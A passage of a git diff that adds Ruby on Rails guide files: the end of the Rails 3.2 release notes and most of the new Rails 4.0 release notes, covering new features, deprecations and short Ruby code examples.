+More information: [Bundler homepage](http://bundler.io/)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Major Features
+--------------
+
+### Faster Development Mode & Routing
+
+Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [Active Reload](https://github.com/paneq/active_reload), Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new [Journey](https://github.com/rails/journey) engine.
+
+### Automatic Query Explains
+
+Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations.
+
+Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed.
+
+### Tagged Logging
+
+When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+Documentation
+-------------
+
+From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.
+
+Railties
+--------
+
+* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false.
+
+* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of `0.5` in `development.rb` and commented out in `production.rb`. No mention in `test.rb`.
+
+* Added `config.exceptions_app` to set the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+* Added a `DebugExceptions` middleware which contains features extracted from `ShowExceptions` middleware.
+
+* Display mounted engines' routes in `rake routes`.
+
+* Allow to change the loading order of railties with `config.railties_order` like:
+
+    ```ruby
+    config.railties_order = [Blog::Engine, :main_app, :all]
+    ```
+
+* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.
+
+* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
+
+* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory.
+
+* Add an alias `d` for `destroy`. This works for engines too.
+
+* Attributes on scaffold and model generators default to string. This allows the following: `rails g scaffold Post title body:text author`
+
+* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,
+
+    ```ruby
+    rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
+    ```
+
+    will create indexes for `title` and `author` with the latter being a unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively.
+
+* Turn gem has been removed from default Gemfile.
+
+* Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command.
+
+* Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`.
+
+#### Deprecations
+
+* `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.
+
+Action Mailer
+-------------
+
+* Upgraded `mail` version to 2.4.0.
+
+* Removed the old Action Mailer API which was deprecated since Rails 3.0.
+
+Action Pack
+-----------
+
+### Action Controller
+
+* Make `ActiveSupport::Benchmarkable` a default module for `ActionController::Base,` so the `#benchmark` method is once again available in the controller context like it used to be.
+
+* Added `:gzip` option to `caches_page`. The default option can be configured globally using `page_cache_compression`.
+
+* Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail.
+
+    ```ruby
+    class CarsController
+      layout 'single_car', :only => :show
+    end
+    ```
+
+    Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions.
+
+* `form_for` is changed to use `#{action}_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`.
+
+* `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
+
+* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.
+
+* `ActionDispatch::ShowExceptions` is refactored. The controller is responsible for choosing to show exceptions. It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors.
+
+* Responders now return 204 No Content for API requests without a response body (as in the new scaffold).
+
+* `ActionController::TestCase` cookies is refactored. Assigning cookies for test cases should now use `cookies[]`
+
+    ```ruby
+    cookies[:email] = 'user@example.com'
+    get :index
+    assert_equal 'user@example.com', cookies[:email]
+    ```
+
+    To clear the cookies, use `clear`.
+
+    ```ruby
+    cookies.clear
+    get :index
+    assert_nil cookies[:email]
+    ```
+
+    We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.
+
+* `send_file` now guesses the MIME type from the file extension if `:type` is not provided.
+
+* MIME type entries for PDF, ZIP and other formats were added.
+
+* Allow `fresh_when/stale?` to take a record instead of an options hash.
+
+* Changed log level of warning for missing CSRF token from `:debug` to `:warn`.
+
+* Assets should use the request protocol by default or default to relative if no request is available.
+
+#### Deprecations
+
+* Deprecated implied layout lookup in controllers whose parent had an explicit layout set:
+
+    ```ruby
+    class ApplicationController
+      layout "application"
+    end
+
+    class PostsController < ApplicationController
+    end
+    ```
+
+    In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
+
+* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`.
+
+* Deprecated `ActionController::DoubleRenderError` in favor of `AbstractController::DoubleRenderError`.
+
+* Deprecated `method_missing` in favor of `action_missing` for missing actions.
+
+* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`.
+
+### Action Dispatch
+
+* Add `config.action_dispatch.default_charset` to configure default charset for `ActionDispatch::Response`.
+
+* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
+
+* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
+
+* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`.
+
+#### Deprecations
+
+* Deprecated the ability to set a default charset at the controller level, use the new `config.action_dispatch.default_charset` instead.
+
+### Action View
+
+* Add `button_tag` support to `ActionView::Helpers::FormBuilder`. This support mimics the default behavior of `submit_tag`.
+
+    ```erb
+    <%= form_for @post do |f| %>
+      <%= f.button %>
+    <% end %>
+    ```
+
+* Date helpers accept a new option `:use_two_digit_numbers => true`, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.
+
+* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+
+    ```erb
+    <%= form_for(@offer, :namespace => 'namespace') do |f| %>
+      <%= f.label :version, 'Version' %>:
+      <%= f.text_field :version %>
+    <% end %>
+    ```
+
+* Limit the number of options for `select_year` to 1000. Pass `:max_years_allowed` option to set your own limit.
+
+* `content_tag_for` and `div_for` can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:
+
+    ```ruby
+    @items.each do |item|
+      content_tag_for(:li, item) do
+         Title: <%= item.title %>
+      end
+    end
+    ```
+
+    You can do this:
+
+    ```ruby
+    content_tag_for(:li, @items) do |item|
+      Title: <%= item.title %>
+    end
+    ```
+
+* Added `font_path` helper method that computes the path to a font asset in `public/fonts`.
+
+#### Deprecations
+
+* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: ` render :template => "foo", :formats => [:html, :js], :handlers => :erb`.
+
+### Sprockets
+
+* Adds a configuration option `config.assets.logger` to control Sprockets logging. Set it to `false` to turn off logging and to `nil` to default to `Rails.logger`.
+
+Active Record
+-------------
+
+* Boolean columns with 'on' and 'ON' values are type cast to true.
+
+* When the `timestamps` method creates the `created_at` and `updated_at` columns, it makes them non-nullable by default.
+
+* Implemented `ActiveRecord::Relation#explain`.
+
+* Implements `ActiveRecord::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block.
+
+* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.
+
+* Added `ActiveRecord::Base.store` for declaring simple single-column key/value stores.
+
+    ```ruby
+    class User < ActiveRecord::Base
+      store :settings, accessors: [ :color, :homepage ]
+    end
+
+    u = User.new(color: 'black', homepage: '37signals.com')
+    u.color                          # Accessor stored attribute
+    u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+    ```
+
+* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).
+
+    ```
+    rake db:migrate SCOPE=blog
+    ```
+
+* Migrations copied from engines are now scoped with engine's name, for example `01_create_posts.blog.rb`.
+
+* Implemented `ActiveRecord::Relation#pluck` method that returns an array of column values directly from the underlying table. This also works with serialized attributes.
+
+    ```ruby
+    Client.where(:active => true).pluck(:id)
+    # SELECT id from clients where active = 1
+    ```
+
+* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after the `generated_attributes_methods` module defined in Active Model, so association methods override attribute methods of the same name.
+
+* Add `ActiveRecord::Relation#uniq` for generating unique queries.
+
+    ```ruby
+    Client.select('DISTINCT name')
+    ```
+
+    ..can be written as:
+
+    ```ruby
+    Client.select(:name).uniq
+    ```
+
+    This also allows you to revert the uniqueness in a relation:
+
+    ```ruby
+    Client.select(:name).uniq.uniq(false)
+    ```
+
+* Support index sort order in SQLite, MySQL and PostgreSQL adapters.
+
+* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string.
+
+    ```ruby
+    has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
+    ```
+
+* In development mode, `db:drop` also drops the test database in order to be symmetric with `db:create`.
+
+* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.
+
+* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.
+
+* Add `first_or_create`, `first_or_create!`, `first_or_initialize` methods to Active Record. This is a better approach over the old `find_or_create_by` dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.
+
+    ```ruby
+    User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
+    ```
+
+* Added a `with_lock` method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to `lock!`.
+
+    This makes it possible to write the following:
+
+    ```ruby
+    class Order < ActiveRecord::Base
+      def cancel!
+        transaction do
+          lock!
+          # ... cancelling logic
+        end
+      end
+    end
+    ```
+
+    as:
+
+    ```ruby
+    class Order < ActiveRecord::Base
+      def cancel!
+        with_lock do
+          # ... cancelling logic
+        end
+      end
+    end
+    ```
+
+### Deprecations
+
+* Automatic closure of connections in threads is deprecated. For example the following code is deprecated:
+
+    ```ruby
+    Thread.new { Post.find(1) }.join
+    ```
+
+    It should be changed to close the database connection at the end of the thread:
+
+    ```ruby
+    Thread.new {
+      Post.find(1)
+      Post.connection.close
+    }.join
+    ```
+
+    Only people who spawn threads in their application code need to worry about this change.
+
+* The `set_table_name`, `set_inheritance_column`, `set_sequence_name`, `set_primary_key`, `set_locking_column` methods are deprecated. Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`.
+
+    ```ruby
+    class Project < ActiveRecord::Base
+      self.table_name = "project"
+    end
+    ```
+
+    Or define your own `self.table_name` method:
+
+    ```ruby
+    class Post < ActiveRecord::Base
+      def self.table_name
+        "special_" + super
+      end
+    end
+
+    Post.table_name # => "special_posts"
+
+    ```
+
+Active Model
+------------
+
+* Add `ActiveModel::Errors#added?` to check if a specific error has been added.
+
+* Add ability to define strict validations with `strict => true` that always raises exception when fails.
+
+* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.
+
+### Deprecations
+
+* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods` because this only existed to support methods like `set_table_name` in Active Record, which are themselves being deprecated.
+
+* Deprecated `Model.model_name.partial_path` in favor of `model.to_partial_path`.
+
+Active Resource
+---------------
+
+* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.
+
+Active Support
+--------------
+
+* Added `ActiveSupport:TaggedLogging` that can wrap any standard `Logger` class to provide tagging capabilities.
+
+    ```ruby
+    Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+
+    Logger.tagged("BCX") { Logger.info "Stuff" }
+    # Logs "[BCX] Stuff"
+
+    Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
+    # Logs "[BCX] [Jason] Stuff"
+
+    Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
+    # Logs "[BCX] [Jason] Stuff"
+    ```
+
+* The `beginning_of_week` method in `Date`, `Time` and `DateTime` accepts an optional argument representing the day in which the week is assumed to start.
+
+* `ActiveSupport::Notifications.subscribed` provides subscriptions to events while a block runs.
+
+* Defined new methods `Module#qualified_const_defined?`, `Module#qualified_const_get` and `Module#qualified_const_set` that are analogous to the corresponding methods in the standard API, but accept qualified constant names.
+
+* Added `#deconstantize` which complements `#demodulize` in inflections. This removes the rightmost segment in a qualified constant name.
+
+* Added `safe_constantize` that constantizes a string but returns `nil` instead of raising an exception if the constant (or part of it) does not exist.
+
+* `ActiveSupport::OrderedHash` is now marked as extractable when using `Array#extract_options!`.
+
+* Added `Array#prepend` as an alias for `Array#unshift` and `Array#append` as an alias for `Array#<<`.
+
+* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace.
+
+* The inflector understands acronyms.
+
+* Added `Time#all_day`, `Time#all_week`, `Time#all_quarter` and `Time#all_year` as a way of generating ranges.
+
+    ```ruby
+    Event.where(:created_at => Time.now.all_week)
+    Event.where(:created_at => Time.now.all_day)
+    ```
+
+* Added `instance_accessor: false` as an option to `Class#cattr_accessor` and friends.
+
+* `ActiveSupport::OrderedHash` now has different behavior for `#each` and `#each_pair` when given a block accepting its parameters with a splat.
+
+* Added `ActiveSupport::Cache::NullStore` for use in development and testing.
+
+* Removed `ActiveSupport::SecureRandom` in favor of `SecureRandom` from the standard library.
+
+### Deprecations
+
+* `ActiveSupport::Base64` is deprecated in favor of `::Base64`.
+
+* Deprecated `ActiveSupport::Memoizable` in favor of Ruby memoization pattern.
+
+* `Module#synchronize` is deprecated with no replacement. Please use monitor from ruby's standard library.
+
+* Deprecated `ActiveSupport::MessageEncryptor#encrypt` and `ActiveSupport::MessageEncryptor#decrypt`.
+
+* `ActiveSupport::BufferedLogger#silence` is deprecated. If you want to squelch logs for a certain block, change the log level for that block.
+
+* `ActiveSupport::BufferedLogger#open_log` is deprecated. This method should not have been public in the first place.
+
+* `ActiveSupport::BufferedLogger's` behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.
+
+* `ActiveSupport::BufferedLogger#auto_flushing` is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.
+
+    ```ruby
+    f = File.open('foo.log', 'w')
+    f.sync = true
+    ActiveSupport::BufferedLogger.new f
+    ```
+
+* `ActiveSupport::BufferedLogger#flush` is deprecated. Set sync on your filehandle, or tune your filesystem.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev).
diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md
new file mode 100644
index 0000000000..4615cf18e6
--- /dev/null
+++ b/guides/source/4_0_release_notes.md
@@ -0,0 +1,284 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 4.0 Release Notes
+===============================
+
+Highlights in Rails 4.0:
+
+* Ruby 2.0 preferred; 1.9.3+ required
+* Strong Parameters
+* Turbolinks
+* Russian Doll Caching
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/4-0-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.0
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
+
+
+Creating a Rails 4.0 application
+--------------------------------
+
+```
+ You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: [Bundler homepage](http://bundler.io)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Major Features
+--------------
+
+[![Rails 4.0](images/rails4_features.png)](http://guides.rubyonrails.org/images/rails4_features.png)
+
+### Upgrade
+
+* **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required
+* **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
+* **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.
+* **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.
+* **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.
+* **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.
+* **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.
+* **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems.
+
+### ActionPack
+
+* **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`).
+* **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`).
+* **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`.
+* **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation.
+* **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.
+* **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.
+* **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.
+* **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel.
+
+### General
+
+ * **ActiveModel::Model** ([commit](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model`, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for `form_for`)
+ * **New scope API** ([commit](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Scopes must always use callables.
+ * **Schema cache dump** ([commit](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file.
+ * **Support for specifying transaction isolation level** ([commit](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Choose whether repeatable reads or improved performance (less locking) is more important.
+ * **Dalli** ([commit](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Use Dalli memcache client for the memcache store.
+ * **Notifications start &amp; finish** ([commit](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Active Support instrumentation reports start and finish notifications to subscribers.
+ * **Thread safe by default** ([commit](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails can run in threaded app servers without additional configuration.
+
+NOTE: Check that the gems you are using are threadsafe.
+
+ * **PATCH verb** ([commit](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources.
+
+### Security
+
+* **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified.
+* **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called.
+* **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe).
+
+Extraction of features to gems
+---------------------------
+
+In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your `Gemfile` to bring the functionality back.
+
+* Hash-based & Dynamic finder methods ([GitHub](https://github.com/rails/activerecord-deprecated_finders))
+* Mass assignment protection in Active Record models ([GitHub](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251))
+* ActiveRecord::SessionStore ([GitHub](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436))
+* Active Record Observers ([GitHub](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2))
+* Active Resource ([GitHub](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia-blog-blog.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource))
+* Action Caching ([GitHub](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
+* Page Caching ([GitHub](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
+* Sprockets ([GitHub](https://github.com/rails/sprockets-rails))
+* Performance tests ([GitHub](https://github.com/rails/rails-perftest), [Pull Request](https://github.com/rails/rails/pull/8876))
+
+Documentation
+-------------
+
+* Guides are rewritten in GitHub Flavored Markdown.
+
+* Guides have a responsive design.
+
+Railties
+--------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878))
+
+* Your app's executables now live in the `bin/` directory. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`.
+
+* Threadsafe on by default
+
+* Ability to use a custom builder by passing `--builder` (or `-b`) to
+  `rails new` has been removed. Consider using application templates
+  instead. ([Pull Request](https://github.com/rails/rails/pull/9401))
+
+### Deprecations
+
+* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded.
+
+* `Rails::Plugin` has gone. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+### Deprecations
+
+Active Model
+------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.
+
+* Added `ActiveModel::Model`, a mixin to make Ruby objects work with Action Pack out of box.
+
+### Deprecations
+
+Active Support
+--------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`.
+
+* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead.
+
+* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument.
+
+* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.
+
+* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass`
+  when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as:
+
+  ```ruby
+  # ActiveSupport 3.x
+  "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+  "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+
+  # ActiveSupport 4
+  "asdf".to_date # => ArgumentError: invalid date
+  "333".to_date # => Fri, 29 Nov 2013
+  ```
+
+### Deprecations
+
+* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead.
+
+* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
+
+* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals.
+
+* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols).
+
+* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library.
+
+* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?`
+
+Action Pack
+-----------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.
+
+### Deprecations
+
+
+Active Record
+-------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary.
+
+    * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given.
+      The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not revertible).
+      The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
+
+    * New method `reversible` makes it possible to specify code to be run when migrating up or down.
+      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#using-reversible)
+
+    * New method `revert` will revert a whole migration or the given block.
+      If migrating down, the given migration / block is run normally.
+      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#reverting-previous-migrations)
+
+* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.
+
